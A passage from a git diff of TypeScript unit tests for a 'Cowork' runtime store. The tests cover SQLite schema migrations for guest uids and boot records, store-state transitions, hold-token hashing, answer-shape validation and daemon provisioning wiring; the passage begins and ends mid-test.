`incarnation-${sessionId}`, 1); + records.acknowledgeSource(epoch, source.sourceId, source.revision, "ready"); + records.bindConversation({ principalId: "fixture", requestId: `bind-${sessionId}`, expectedRevision: 1 }, made.workspaceId, { sessionId, sourceId: source.sourceId, relativeCwd: "." }, authorityFixtureSessions(sessionId)); + return { records, workspaceId: made.workspaceId, sourceId: source.sourceId }; +} +const addExport = (db: Database, workspaceId: string, exportId = "export_1", generation = 1) => + db.run("INSERT INTO cowork_exports(export_id,workspace_id,generation,state,manifest_json,manifest_digest,created_at,updated_at) VALUES(?,?,?,'prepared','{}',?,'t','t')", [exportId, workspaceId, generation, HEX]); +const addInbox = (db: Database, receiptId = "r1") => + db.run("INSERT INTO cowork_peer_inbox(receipt_id,sender_session_id,sender_incarnation,send_id,recipient_session_id,digest,size,body,sequence,state,attempts,accepted_at,updated_at,version) VALUES(?,'s_a','inc-1',?,'s_r',?,1,?,1,'accepted',0,1,1,1)", [receiptId, `m-${receiptId}`, HEX, Buffer.from("x")]); +const addUid = (db: Database, workspaceId: string, uid: number, role: string, sessionId: string | null) => + db.run("INSERT INTO cowork_guest_uids(workspace_id,uid,role,session_id,allocated_at) VALUES(?,?,?,?,'t')", [workspaceId, uid, role, sessionId]); +const addBoot = (db: Database, workspaceId: string, incarnationId: string, bootId = BOOT, epoch = 1) => + db.run("INSERT INTO cowork_guest_boots(workspace_id,incarnation_id,lease_epoch,guest_boot_id,recorded_at) VALUES(?,?,?,?,'t')", [workspaceId, incarnationId, epoch, bootId]); + +/** Undo 21 and 20 on a current store (rows carried over), and rewind to 19. */ +function rewindToV19(db: Database): void { + db.exec(`DROP INDEX cowork_conversations_runtime_uid; DROP INDEX cowork_conversations_tool_uid; + DROP TABLE cowork_guest_boots; DROP TABLE cowork_guest_uids; DROP TABLE cowork_export_output_ids; + ALTER TABLE cowork_conversations DROP COLUMN last_incarnation_id; ALTER TABLE cowork_conversations DROP COLUMN store_state; + ALTER TABLE cowork_conversations DROP COLUMN tool_uid; ALTER TABLE cowork_conversations DROP COLUMN runtime_uid; + ALTER TABLE cowork_workspaces DROP COLUMN browse_uid; ALTER TABLE cowork_workspaces DROP COLUMN store_volume_uuid; + ALTER TABLE cowork_peer_inbox DROP COLUMN commit_outcome; ALTER TABLE cowork_peer_inbox DROP COLUMN commit_confirmed_at; + ALTER TABLE cowork_peer_inbox DROP COLUMN acked_hold_token; ALTER TABLE cowork_peer_inbox DROP COLUMN offer_count; + ALTER TABLE cowork_exports DROP COLUMN content_digest; + PRAGMA user_version=19;`); +} + +test("schema 21 is current; the new tables are Cowork authority, each listed before the table it references", () => { + expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); + const db = openDb(tempHome()); + expect(db.schemaVersion()).toBe(21); + const tables: readonly string[] = COWORK_TABLES; + for (const [child, parent] of [["cowork_export_output_ids", "cowork_exports"], ["cowork_guest_uids", "cowork_workspaces"], ["cowork_guest_boots", "cowork_workspaces"]] as const) { + expect(tables).toContain(child); + expect(tables.indexOf(child)).toBeLessThan(tables.indexOf(parent)); + } + expect(columnsOf(db.db, "cowork_export_output_ids")).toEqual(["export_id", "opaque_id", "session_id"]); + expect(columnsOf(db.db, "cowork_guest_uids")).toEqual(["workspace_id", "uid", "role", "session_id", "allocated_at", "retired_at", "released_at"]); + expect(columnsOf(db.db, "cowork_guest_boots")).toEqual(["workspace_id", "incarnation_id", "lease_epoch", "guest_boot_id", "recorded_at", "ended_proof", "ended_at"]); + expect(columnsOf(db.db, "cowork_exports").at(-1)).toBe("content_digest"); + expect(columnsOf(db.db, "cowork_workspaces").slice(-2)).toEqual(["store_volume_uuid", "browse_uid"]); + expect(columnsOf(db.db, "cowork_conversations").slice(-4)).toEqual(["runtime_uid", "tool_uid", "store_state", "last_incarnation_id"]); + expect(columnsOf(db.db, "cowork_peer_inbox").slice(-4)).toEqual(["offer_count", "acked_hold_token", "commit_confirmed_at", "commit_outcome"]); + expect(db.integrity().ok).toBe(true); +}); + +test("migration 20 (#97): content_digest is NULL until written, and only lowercase 64-hex; output ids are s+16 hex, keyed per export", () => { + const db = openDb(tempHome()), { workspaceId } = bound(db); + addExport(db.db, workspaceId); + expect(db.db.query("SELECT content_digest FROM cowork_exports").get()).toEqual({ content_digest: null }); + for (const bad of ["A".repeat(64), "a".repeat(63), "a".repeat(65), "g".repeat(64), ""]) expect(() => db.db.run("UPDATE cowork_exports SET content_digest=?", [bad])).toThrow(); + db.db.run("UPDATE cowork_exports SET content_digest=?", [HEX]); + const id = (opaque: string, session: string, exportId = "export_1") => db.db.run("INSERT INTO cowork_export_output_ids(export_id,opaque_id,session_id) VALUES(?,?,?)", [exportId, opaque, session]); + id("s0123456789abcdef", "s_one"); + for (const bad of ["t0123456789abcdef", "s0123456789ABCDEF", "s0123456789abcde", "s0123456789abcdef0", "s0123456789abcdeg"]) expect(() => id(bad, "s_other")).toThrow(); + expect(() => id("s0123456789abcdef", "s_two")).toThrow(); // the primary key + expect(() => id("sfedcba9876543210", "s_one")).toThrow(); // one opaque id per session folder per export + expect(() => id("sfedcba9876543210", "s_two", "export_missing")).toThrow(); // the export must exist + id("sfedcba9876543210", "s_deleted_session"); // no foreign key on the session: a deleted session's export stays valid + addExport(db.db, workspaceId, "export_2", 2); id("s0123456789abcdef", "s_one", "export_2"); // a different export may reuse both + expect(db.db.query("PRAGMA foreign_key_check").all()).toEqual([]); +}); + +test("migration 21: a bound conversation starts at store_state none with no uids; the CHECKs keep uids in range and distinct", () => { + const db = openDb(tempHome()), { workspaceId, sourceId, records } = bound(db); + expect(db.db.query("SELECT runtime_uid,tool_uid,store_state,last_incarnation_id FROM cowork_conversations").get()).toEqual({ runtime_uid: null, tool_uid: null, store_state: "none", last_incarnation_id: null }); + const set = (sql: string, ...args: (string | number | null)[]) => db.db.run(`UPDATE cowork_conversations SET ${sql} WHERE session_id='s_bound'`, args); + for (const state of ["none", "started", "created", "lost"]) set("store_state=?", state); + expect(() => set("store_state=?", "fresh")).toThrow(); + expect(() => set("store_state=NULL")).toThrow(); + for (const uid of [999, 65534, 65535, 0]) { expect(() => set("runtime_uid=?", uid)).toThrow(); expect(() => set("tool_uid=?", uid)).toThrow(); } + set("runtime_uid=1000, tool_uid=65533"); + expect(() => set("tool_uid=1000")).toThrow(); // never the runtime uid + records.bindConversation({ principalId: "fixture", requestId: "bind-s_two", expectedRevision: 2 }, workspaceId, { sessionId: "s_two", sourceId, relativeCwd: "." }, authorityFixtureSessions("s_two")); + const other = (sql: string, ...args: number[]) => db.db.run(`UPDATE cowork_conversations SET ${sql} WHERE session_id='s_two'`, args); + expect(() => other("runtime_uid=1000, tool_uid=2000")).toThrow(); // another conversation's runtime uid in the same workspace + expect(() => other("runtime_uid=2000, tool_uid=65533")).toThrow(); // another conversation's tool uid + other("runtime_uid=2000, tool_uid=2001"); + set("last_incarnation_id='incarnation-s_bound'"); +}); + +test("migration 21: the workspace keeps a lowercase volume UUID and a browse uid in range", () => { + const db = openDb(tempHome()), { workspaceId } = bound(db); + expect(db.db.query("SELECT store_volume_uuid,browse_uid FROM cowork_workspaces").get()).toEqual({ store_volume_uuid: null, browse_uid: null }); + const set = (column: string, value: string | number) => db.db.run(`UPDATE cowork_workspaces SET ${column}=? WHERE workspace_id=?`, [value, workspaceId]); + for (const bad of [UUID.toUpperCase(), `A${UUID.slice(1)}`, UUID.replaceAll("-", ""), `${UUID}0`, UUID.replace("-", "_"), "g".repeat(8) + UUID.slice(8)]) expect(() => set("store_volume_uuid", bad)).toThrow(); + set("store_volume_uuid", UUID); + for (const bad of [999, 65534]) expect(() => set("browse_uid", bad)).toThrow(); + set("browse_uid", 4242); +}); + +test("migration 21: the uid table never forgets a uid before its files are proven removed (L7), one owner per role, one browse uid", () => { + const db = openDb(tempHome()), { workspaceId } = bound(db); + addUid(db.db, workspaceId, 1000, "runtime", "s_bound"); + addUid(db.db, workspaceId, 1001, "tool", "s_bound"); + addUid(db.db, workspaceId, 1002, "browse", null); + expect(() => addUid(db.db, workspaceId, 1000, "tool", "s_other")).toThrow(); // a uid is allocated once per workspace + expect(() => addUid(db.db, workspaceId, 1003, "runtime", "s_bound")).toThrow(); // one runtime uid per conversation + expect(() => addUid(db.db, workspaceId, 1004, "browse", null)).toThrow(); // one browse uid per workspace + expect(() => addUid(db.db, workspaceId, 1005, "browse", "s_bound")).toThrow(); // the browse uid belongs to no conversation + expect(() => addUid(db.db, workspaceId, 1006, "runtime", null)).toThrow(); // a runtime uid belongs to one + expect(() => addUid(db.db, workspaceId, 1007, "admin", "s_x")).toThrow(); + for (const uid of [999, 65534]) expect(() => addUid(db.db, workspaceId, uid, "runtime", "s_y")).toThrow(); + expect(() => addUid(db.db, "ws_missing", 1008, "runtime", "s_z")).toThrow(); // the workspace must exist + const where = "WHERE workspace_id=? AND uid=1000"; + expect(() => db.db.run(`UPDATE cowork_guest_uids SET released_at='t' ${where}`, [workspaceId])).toThrow(); // released needs retired + expect(() => db.db.run(`DELETE FROM cowork_guest_uids ${where}`, [workspaceId])).toThrow("kept until its files are proven removed"); + db.db.run(`UPDATE cowork_guest_uids SET retired_at='t' ${where}`, [workspaceId]); + expect(() => db.db.run(`DELETE FROM cowork_guest_uids ${where}`, [workspaceId])).toThrow("kept until its files are proven removed"); // retired is not enough + db.db.run(`UPDATE cowork_guest_uids SET released_at='t' ${where}`, [workspaceId]); + db.db.run(`DELETE FROM cowork_guest_uids ${where}`, [workspaceId]); + expect(db.db.query("SELECT uid FROM cowork_guest_uids ORDER BY uid").all()).toEqual([{ uid: 1001 }, { uid: 1002 }]); +}); + +test("migration 21: a guest boot is recorded once, and its end carries both a proof and a time or neither", () => { + const db = openDb(tempHome()), { workspaceId } = bound(db); + addBoot(db.db, workspaceId, "inc-1"); + expect(() => addBoot(db.db, workspaceId, "inc-2")).toThrow(); // a boot id is never recorded twice + expect(() => addBoot(db.db, workspaceId, "inc-1", "21111111-2222-4333-8444-555555555555")).toThrow(); // one boot per incarnation + expect(() => addBoot(db.db, workspaceId, "inc-3", "31111111-2222-4333-8444-555555555555", 0)).toThrow(); // a lease epoch is positive + expect(() => addBoot(db.db, workspaceId, "inc-4", "short")).toThrow(); + for (const bad of [BOOT.toUpperCase(), BOOT.replaceAll("-", "_"), `x${BOOT.slice(1)}`, "-".repeat(36)]) expect(() => addBoot(db.db, workspaceId, "inc-6", bad)).toThrow(); + expect(() => addBoot(db.db, "ws_missing", "inc-5", "51111111-2222-4333-8444-555555555555")).toThrow(); + const end = (proof: string | null, at: string | null) => db.db.run("UPDATE cowork_guest_boots SET ended_proof=?, ended_at=? WHERE incarnation_id='inc-1'", [proof, at]); + expect(() => end("orderly-receipt", null)).toThrow(); + expect(() => end(null, "t")).toThrow(); + expect(() => end("guest-marker", "t")).toThrow(); // a guest-written marker is never evidence + for (const proof of ["orderly-receipt", "new-boot", "owner-recover"]) end(proof, "t"); +}); + +test("migration 21: the held-input inbox columns default to nothing offered, nothing held and nothing confirmed", () => { + const db = openDb(tempHome()); + addInbox(db.db); + expect(db.db.query("SELECT offer_count,acked_hold_token,commit_confirmed_at,commit_outcome FROM cowork_peer_inbox").get()).toEqual({ offer_count: 0, acked_hold_token: null, commit_confirmed_at: null, commit_outcome: null }); + const set = (sql: string, ...args: (string | number | null)[]) => db.db.run(`UPDATE cowork_peer_inbox SET ${sql} WHERE receipt_id='r1'`, args); + expect(() => set("offer_count=-1")).toThrow(); + expect(() => set("offer_count=NULL")).toThrow(); + set("offer_count=3"); + for (const bad of ["A".repeat(64), "a".repeat(63), "z".repeat(64)]) expect(() => set("acked_hold_token=?", bad)).toThrow(); + set("acked_hold_token=?", HEX); + expect(() => set("commit_outcome='delivered', commit_confirmed_at=1")).toThrow(); + expect(() => set("commit_outcome='folded'")).toThrow(); // an outcome needs its confirmation time + expect(() => set("commit_confirmed_at=1")).toThrow(); // and a confirmation its outcome + for (const outcome of ["folded", "queued", "started", "already", "lost"]) set("commit_outcome=?, commit_confirmed_at=1", outcome); +}); + +test("a v19 store upgrades in place: rows survive, store_state is started exactly where a backend was recorded, and a replay is a no-op", () => { + const home = tempHome(), first = openDb(home), { workspaceId, sourceId, records } = bound(first); + records.bindConversation({ principalId: "fixture", requestId: "bind-s_backend", expectedRevision: 2 }, workspaceId, { sessionId: "s_backend", sourceId, relativeCwd: "." }, authorityFixtureSessions("s_backend")); + addExport(first.db, workspaceId); addInbox(first.db); + rewindToV19(first.db); + first.db.run("UPDATE cowork_conversations SET backend_session_id='task-1' WHERE session_id='s_backend'"); + const before = { conversations: first.db.query("SELECT * FROM cowork_conversations ORDER BY session_id").all(), workspaces: first.db.query("SELECT * FROM cowork_workspaces").all() }; + first.close(); + expect(userVersion(home)).toBe(19); + + const second = openDb(home); + expect(second.schemaVersion()).toBe(21); + expect(second.db.query("SELECT session_id,store_state,runtime_uid,tool_uid,last_incarnation_id FROM cowork_conversations ORDER BY session_id").all()).toEqual([ + { session_id: "s_backend", store_state: "started", runtime_uid: null, tool_uid: null, last_incarnation_id: null }, + { session_id: "s_bound", store_state: "none", runtime_uid: null, tool_uid: null, last_incarnation_id: null }, + ]); + const kept = (rows: unknown[], drop: string[]) => rows.map(row => Object.fromEntries(Object.entries(row as object).filter(([key]) => !drop.includes(key)))); + expect(kept(second.db.query("SELECT * FROM cowork_conversations ORDER BY session_id").all(), ["runtime_uid", "tool_uid", "store_state", "last_incarnation_id"])).toEqual(before.conversations as object[]); + expect(kept(second.db.query("SELECT * FROM cowork_workspaces").all(), ["store_volume_uuid", "browse_uid"])).toEqual(before.workspaces as object[]); + expect(second.db.query("SELECT content_digest FROM cowork_exports").get()).toEqual({ content_digest: null }); + expect(second.db.query("SELECT offer_count,acked_hold_token FROM cowork_peer_inbox").get()).toEqual({ offer_count: 0, acked_hold_token: null }); + + // A rewound user_version replays 20 and 21 over the current shape without effect: the backfill never runs twice. + second.db.run("UPDATE cowork_conversations SET store_state='lost' WHERE session_id='s_backend'"); + second.db.run("PRAGMA user_version=19"); second.close(); + const third = openDb(home); + expect(third.schemaVersion()).toBe(21); + expect(third.db.query("SELECT store_state FROM cowork_conversations WHERE session_id='s_backend'").get()).toEqual({ store_state: "lost" }); + expect(third.integrity().ok).toBe(true); + expect(third.db.query("PRAGMA foreign_key_check").all()).toEqual([]); +}); + +test("the downgrade ladder: an empty v21 store rolls back to 7 and 6 and upgrades again; populated authority refuses; v22 is newer", () => { + const empty = tempHome(); openDb(empty).close(); + expect(downgradeCoworkRuntimeStateToV7(empty)).toEqual({ from: 21, to: 7 }); + let db = openDb(empty); expect(db.schemaVersion()).toBe(21); expect(columnsOf(db.db, "cowork_guest_uids")).not.toEqual([]); db.close(); + expect(downgradeRuntimeStateToV6(empty)).toEqual({ from: 21, to: 6 }); + db = openDb(empty); expect(db.schemaVersion()).toBe(21); db.close(); + + const populated = tempHome(), withRows = openDb(populated), { workspaceId } = bound(withRows); + addUid(withRows.db, workspaceId, 1000, "runtime", "s_bound"); addBoot(withRows.db, workspaceId, "inc-1"); withRows.close(); + expect(() => downgradeCoworkRuntimeStateToV7(populated)).toThrow("Cowork authority"); + expect(() => downgradeRuntimeStateToV6(populated)).toThrow("Cowork authority"); + expect(userVersion(populated)).toBe(21); + + const newer = tempHome(); openDb(newer).close(); + const raw = new Database(rawPath(newer)); raw.run("PRAGMA user_version=22"); raw.close(); + expect(() => downgradeCoworkRuntimeStateToV7(newer)).toThrow("newer-schema"); + expect(() => downgradeRuntimeStateToV6(newer)).toThrow("newer-schema"); +}); diff --git a/packages/core/test/cowork/n34-records.test.ts b/packages/core/test/cowork/n34-records.test.ts new file mode 100644 index 000000000..385789406 --- /dev/null +++ b/packages/core/test/cowork/n34-records.test.ts @@ -0,0 +1,148 @@ +// #92 N3 and N4, the host's records and checks (no guest here): stable uids through the allocation table (L7), the +// four-state store and the continuation it gives, the resume plan, the hold token, and the closed shapes of every +// held-input answer and host-messaging answer. The literals mirror agent-sdk #43 (pinned below). +import { afterEach, expect, test } from "bun:test"; +import { createHash } from "node:crypto"; +import { coworkContinuationFor, coworkResumePlan } from "../../src/cowork/cold-resume"; +import { COWORK_GUEST_IDENTITIES } from "../../src/cowork/conversation-set"; +import { + COWORK_HELD_INPUT_CAPABILITY, COWORK_HELD_INPUT_ERRORS, COWORK_HOST_INPUT_SUBTYPES, CoworkHeldInputRefusal, coworkCommitAnswer, coworkDiscardAnswer, coworkForgetAnswer, + coworkHeldInputsEvent, coworkHeldInputVerbs, coworkHoldAnswer, coworkHoldToken, coworkHostMessageListAnswer, coworkHostMessageSendAnswer, coworkOffersHeldInput, +} from "../../src/cowork/held-input"; +import { COWORK_GUEST_UID_FIRST } from "../../src/cowork/repository"; +import { doorFixture, type DoorFixture } from "./session-door-fixture"; + +const fixtures: DoorFixture[] = []; +afterEach(() => { for (const f of fixtures.splice(0)) f.close(); }); +const BACKEND = "0b6d7c4e-5a1f-4c2e-9d3b-7e8f9a0b1c2d", HEX = "a".repeat(64), BOOT = "11111111-2222-4333-8444-555555555555"; +const fixture = (sessions = ["conversation"]) => { const f = doorFixture({ sessions }); fixtures.push(f); return f; }; + +test("N3 L7: uids are allocated once per conversation, only through the uid table, never the workspace gid, never reused while held", () => { + const f = fixture(["s_000000000001", "s_000000000002", "s_000000000003"]), gid = COWORK_GUEST_IDENTITIES.workspaceGid; + expect(COWORK_GUEST_UID_FIRST).toBe(COWORK_GUEST_IDENTITIES.runtimeUid); // the first conversation keeps the N2 picks + const one = f.records.allocateGuestUids("s_000000000001", gid); + expect(one).toEqual({ runtimeUid: 2001, toolUid: 2002 }); + expect(f.records.allocateGuestUids("s_000000000001", gid)).toEqual(one); // stable + expect(f.records.storeState("s_000000000001")).toMatchObject({ runtimeUid: 2001, toolUid: 2002 }); + // A retired (not released) uid is still held: the next conversation never gets it. + f.db.db.run("UPDATE cowork_guest_uids SET retired_at='t' WHERE uid=2001"); + expect(f.records.allocateGuestUids("s_000000000002", gid)).toEqual({ runtimeUid: 2003, toolUid: 2004 }); + // The workspace gid is skipped wherever it falls. + expect(f.records.allocateGuestUids("s_000000000003", 2005)).toEqual({ runtimeUid: 2006, toolUid: 2007 }); + const rows = f.db.db.query("SELECT uid, role, session_id FROM cowork_guest_uids ORDER BY uid").all(); + expect(rows).toEqual([ + { uid: 2001, role: "runtime", session_id: "s_000000000001" }, { uid: 2002, role: "tool", session_id: "s_000000000001" }, + { uid: 2003, role: "runtime", session_id: "s_000000000002" }, { uid: 2004, role: "tool", session_id: "s_000000000002" }, + { uid: 2006, role: "runtime", session_id: "s_000000000003" }, { uid: 2007, role: "tool", session_id: "s_000000000003" }, + ]); + expect(() => f.records.allocateGuestUids("s_missing00000", gid)).toThrow(); +}); + +test("N3: the store state moves none -> started (write-ahead with the incarnation) -> created -> lost, and never back", () => { + const f = fixture(); + expect(f.records.storeState("conversation")).toEqual({ storeState: "none", lastIncarnationId: null, runtimeUid: null, toolUid: null }); + expect(() => f.records.markStoreCreated("conversation")).toThrow("recovery_required"); // a turn without the write-ahead record + f.records.assignConversationBackend("conversation", BACKEND, "incarnation-1"); + expect(f.records.storeState("conversation")).toMatchObject({ storeState: "started", lastIncarnationId: "incarnation-1" }); + f.records.assignConversationBackend("conversation", BACKEND, "incarnation-2"); // a resumed incarnation records itself + expect(f.records.storeState("conversation")).toMatchObject({ storeState: "started", lastIncarnationId: "incarnation-2" }); + expect(() => f.records.assignConversationBackend("conversation", "1b6d7c4e-5a1f-4c2e-9d3b-7e8f9a0b1c2d", "incarnation-3")).toThrow("authority_denied"); + expect(f.records.storeState("conversation").lastIncarnationId).toBe("incarnation-2"); + f.records.markStoreCreated("conversation"); f.records.markStoreCreated("conversation"); + expect(f.records.storeState("conversation").storeState).toBe("created"); + f.records.assignConversationBackend("conversation", BACKEND, "incarnation-3"); + expect(f.records.storeState("conversation").storeState).toBe("created"); // never back to started + f.records.markStoreLost("conversation"); + f.records.markStoreCreated("conversation"); + expect(f.records.storeState("conversation").storeState).toBe("lost"); // terminal +}); + +test("N3: the continuation table and the resume plan (proven-ended boots of the last incarnation only)", () => { + expect(["none", "started", "created"].map(coworkContinuationFor)).toEqual(["fresh", "either", "resume"]); + for (const state of ["lost", "", "fresh"]) expect(() => coworkContinuationFor(state)).toThrow("cold_resume_unavailable"); + const f = fixture(); + expect(coworkResumePlan(f.records, "conversation")).toEqual({ continuation: "fresh", endedGuestBoots: [] }); + f.db.db.run("UPDATE cowork_conversations SET store_state='started' WHERE session_id='conversation'"); + expect(() => coworkResumePlan(f.records, "conversation")).toThrow("recovery_required"); // started with no incarnation + f.records.assignConversationBackend("conversation", BACKEND, "incarnation-1"); + const boot = (incarnationId: string, bootId: string, proof: string | null) => f.db.db.run("INSERT INTO cowork_guest_boots(workspace_id,incarnation_id,lease_epoch,guest_boot_id,recorded_at,ended_proof,ended_at) VALUES(?,?,1,?,'t',?,?)", [f.workspaceId, incarnationId, bootId, proof, proof === null ? null : "t"]); + boot("incarnation-1", BOOT, "orderly-receipt"); + boot("incarnation-0", "21111111-2222-4333-8444-555555555555", "new-boot"); + expect(coworkResumePlan(f.records, "conversation")).toEqual({ continuation: "either", endedGuestBoots: [BOOT] }); + f.records.markStoreCreated("conversation"); + expect(coworkResumePlan(f.records, "conversation").continuation).toBe("resume"); + f.db.db.run("UPDATE cowork_guest_boots SET ended_proof=NULL, ended_at=NULL WHERE incarnation_id='incarnation-1'"); + expect(coworkResumePlan(f.records, "conversation").endedGuestBoots).toEqual([]); // an unproven end is never evidence + f.records.markStoreLost("conversation"); + expect(() => coworkResumePlan(f.records, "conversation")).toThrow("cold_resume_unavailable"); +}); + +test("N4: the literals mirror agent-sdk #43, and the hold token is sha256(hold-v1|receipt|incarnation|epoch|offer)", () => { + expect(COWORK_HELD_INPUT_CAPABILITY).toBe("held-input-v1"); + expect(COWORK_HOST_INPUT_SUBTYPES).toEqual({ hold: "host_input_hold", commit: "host_input_commit", discard: "host_input_discard", forget: "host_input_forget" }); + expect([...COWORK_HELD_INPUT_ERRORS]).toEqual(["conflict", "superseded", "committed", "unknown_input", "epoch", "invalid", "journal_full", "journal_failed"]); + expect(coworkHoldToken("r1", "inc-1", 2, 3)).toBe(createHash("sha256").update("hold-v1|r1|inc-1|2|3").digest("hex")); + expect(coworkHoldToken("r1", "inc-1", 2, 4)).not.toBe(coworkHoldToken("r1", "inc-1", 2, 3)); + for (const args of [["", "i", 1, 1], ["r", "", 1, 1], ["r", "a|b", 1, 1], ["r", "i", 0, 1], ["r", "i", 1, 0], ["r", "i", 1.5, 1]] as const) expect(() => coworkHoldToken(...(args as unknown as [string, string, number, number]))).toThrow("invalid_request"); + expect(coworkOffersHeldInput({ capabilities: ["confined-guest-posture-v1", "held-input-v1"] })).toBe(true); + expect(coworkOffersHeldInput({ capabilities: ["confined-guest-posture-v1"] })).toBe(false); + expect(coworkOffersHeldInput(undefined)).toBe(false); +}); + +test("N4: every answer is checked against its closed shape; anything else is uncertain (recovery_required)", () => { + expect(coworkHoldAnswer({ held: true })).toEqual({ held: true }); + expect(coworkHoldAnswer({ held: true, again: true })).toEqual({ held: true, again: true }); + expect(coworkHoldAnswer({ held: false, state: "in_transcript" })).toEqual({ held: false, state: "in_transcript" }); + for (const bad of [{ held: false }, { held: true, state: "committed" }, { held: false, state: "held" }, { held: true, again: false }, { held: true, extra: 1 }, null, [], "held"]) expect(() => coworkHoldAnswer(bad)).toThrow("recovery_required"); + for (const outcome of ["folded", "queued", "started", "already"] as const) expect(coworkCommitAnswer({ outcome })).toEqual({ outcome }); + for (const bad of [{ outcome: "lost" }, { outcome: "folded", x: 1 }, {}]) expect(() => coworkCommitAnswer(bad)).toThrow("recovery_required"); + expect(coworkDiscardAnswer({ discarded: true })).toEqual({ discarded: true }); + expect(coworkDiscardAnswer({ discarded: false, reason: "superseded" })).toEqual({ discarded: false, reason: "superseded" }); + for (const bad of [{ discarded: false }, { discarded: true, reason: "superseded" }, { discarded: false, reason: "other" }]) expect(() => coworkDiscardAnswer(bad)).toThrow("recovery_required"); + expect(coworkForgetAnswer({ forgotten: false })).toEqual({ forgotten: false }); + for (const bad of [{ forgotten: 1 }, { forgotten: true, x: 1 }]) expect(() => coworkForgetAnswer(bad)).toThrow("recovery_required"); + const record = { inputId: "r1", digest: HEX, holdToken: HEX, state: "held" }; + expect(coworkHeldInputsEvent({ inputs: [] })).toEqual([]); + expect(coworkHeldInputsEvent({ inputs: [record, { ...record, inputId: "r2", state: "in_transcript" }] })).toHaveLength(2); + for (const bad of [{}, { inputs: [record, record] }, { inputs: [{ ...record, state: "discarded" }] }, { inputs: [{ ...record, digest: "A".repeat(64) }] }, { inputs: [{ ...record, extra: 1 }] }]) expect(() => coworkHeldInputsEvent(bad)).toThrow("recovery_required"); +}); + +test("N4: the verbs check requests before they leave, bind the live epoch, and map refusals (typed) from uncertainty", async () => { + const sent: unknown[] = []; + let answer: unknown = { held: true }, epoch: { incarnationId: string; leaseEpoch: number } | undefined = { incarnationId: "inc-1", leaseEpoch: 2 }, live: unknown; + const query = { + holdInput: async (request: unknown) => { sent.push(request); if (answer instanceof Error) throw answer; return answer; }, + commitInput: async (...args: unknown[]) => { sent.push(args); return { outcome: "folded" }; }, + discardInput: async () => ({ discarded: true }), forgetInput: async () => ({ forgotten: true }), + }; + live = query; + const verbs = coworkHeldInputVerbs(() => live, () => epoch); + const input = { inputId: "r1", holdToken: HEX, text: "hello", clientName: "peer" }; + expect(await verbs.hold(input)).toEqual({ held: true }); + expect(sent[0]).toEqual({ inputId: "r1", holdToken: HEX, epoch: { incarnationId: "inc-1", leaseEpoch: 2 }, text: "hello", clientName: "peer" }); + expect(await verbs.commit("r1", HEX)).toEqual({ outcome: "folded" }); + for (const bad of [{ ...input, text: "" }, { ...input, text: "x".repeat(64 * 1024 + 1) }, { ...input, text: "é".repeat(32 * 1024 + 1) }, { ...input, clientName: "" }, { ...input, clientName: "c".repeat(257) }, { ...input, holdToken: "short" }, { ...input, inputId: "bad id" }]) { + await expect(verbs.hold(bad)).rejects.toThrow("invalid_request"); + } + expect(sent).toHaveLength(2); // nothing invalid left the host + answer = Object.assign(new Error("x"), { code: "superseded" }); + await expect(verbs.hold(input)).rejects.toBeInstanceOf(CoworkHeldInputRefusal); + answer = Object.assign(new Error("x"), { code: "transport_reset" }); + await expect(verbs.hold(input)).rejects.toThrow("recovery_required"); + answer = { held: "yes" }; + await expect(verbs.hold(input)).rejects.toThrow("recovery_required"); + epoch = undefined; + await expect(verbs.hold(input)).rejects.toThrow("cold_resume_unavailable"); + await expect(verbs.commit("r1", HEX)).rejects.toThrow("cold_resume_unavailable"); + epoch = { incarnationId: "inc-1", leaseEpoch: 2 }; live = { holdInput: async () => ({ held: true }) }; // an SDK without the verbs + await expect(verbs.hold(input)).rejects.toThrow("unsupported_topology"); + live = undefined; + await expect(verbs.forget("r1", HEX)).rejects.toThrow("cold_resume_unavailable"); +}); + +test("N4: host-messaging answers are checked before the host replies (agent-sdk isHostMessageSendAnswer / normaliseHostMessageListAnswer)", () => { + for (const ok of [{ status: "delivered" }, { status: "queued", note: "n" }, { status: "refused", reason: "not in this Project", retryable: false }, { status: "delivered", notify: { subscribed: true } }, { status: "delivered", notify: { refused: "no" } }]) expect(coworkHostMessageSendAnswer(ok)).toEqual(ok as never); + for (const bad of [{ status: "refused" }, { status: "not_found", reason: "" }, { status: "sent" }, { status: "delivered", note: "n".repeat(501) }, { status: "delivered", extra: 1 }, { status: "delivered", notify: { subscribed: false } }, { status: "delivered", retryable: "no" }]) expect(() => coworkHostMessageSendAnswer(bad)).toThrow("invalid_request"); + expect(coworkHostMessageListAnswer({ sessions: [{ address: "a", status: "idle", mode: "cowork" }], omitted: 2 })).toEqual({ sessions: [{ address: "a", status: "idle", mode: "cowork" }], omitted: 2 }); + for (const bad of [{ sessions: [{ address: "", status: "idle", mode: "x" }] }, { sessions: [{ address: "a", status: "busy", mode: "x" }] }, { sessions: [], omitted: -1 }, { sessions: [{ address: "a", status: "idle", mode: "x", path: "/" }] }]) expect(() => coworkHostMessageListAnswer(bad)).toThrow("invalid_request"); +}); diff --git a/packages/core/test/cowork/native-wiring-daemon.test.ts b/packages/core/test/cowork/native-wiring-daemon.test.ts index 248ffe619..a3698069a 100644 --- a/packages/core/test/cowork/native-wiring-daemon.test.ts +++ b/packages/core/test/cowork/native-wiring-daemon.test.ts @@ -44,13 +44,13 @@ test("production default: the wiring exists, builds nothing, and stop is unchang const after = reopen(h); expect(after.workspace.power).toBe("stopped"); after.db.close(); }); -test("an injected environment is not asked at boot nor at a stop with no guest", async () => { +test("an injected environment is asked at boot only to drive the one pending creation (it answers uncertain, nothing concludes), never to build a host, and not at a stop with no guest", async () => { const h = createHarness(); const asked = { count: 0 }; const d = await boot(h, { environment: environment(h, asked), imagePins: pinned as never }); - expect(asked.count).toBe(0); + expect(asked.count).toBe(1); // the seeded creation is still pending: the daemon resumes it once at boot, through an environment that carries no provisioning port expect(d.coworkNative!.built).toBe(false); await d.stop(); daemon = undefined; - expect(asked.count).toBe(0); + expect(asked.count).toBe(1); expect(h.launcher.spawned).toEqual([]); }); @@ -117,3 +117,22 @@ test("source pin: the Cowork service receives the native port only when a caller expect(source).toMatch(/settled\.then\(closeRest\)/); expect(source.indexOf("const guestsDrained")).toBeLessThan(source.indexOf("const closeRest")); }); + +// ---------------------------------------------------------------------------------------------------- S7B part 3: the provisioning port in the daemon +test("production default: no provisioning port exists, and nothing is driven at boot", async () => { + const h = createHarness(); + const d = await boot(h); + expect(d.coworkNative!.provisioningPort()).toBeUndefined(); + expect(d.coworkNative!.built).toBe(false); +}); + +test("an injected environment's provisioning port is driven for the pending creation once at boot (the host's resume), and a failed answer concludes it", async () => { + const h = 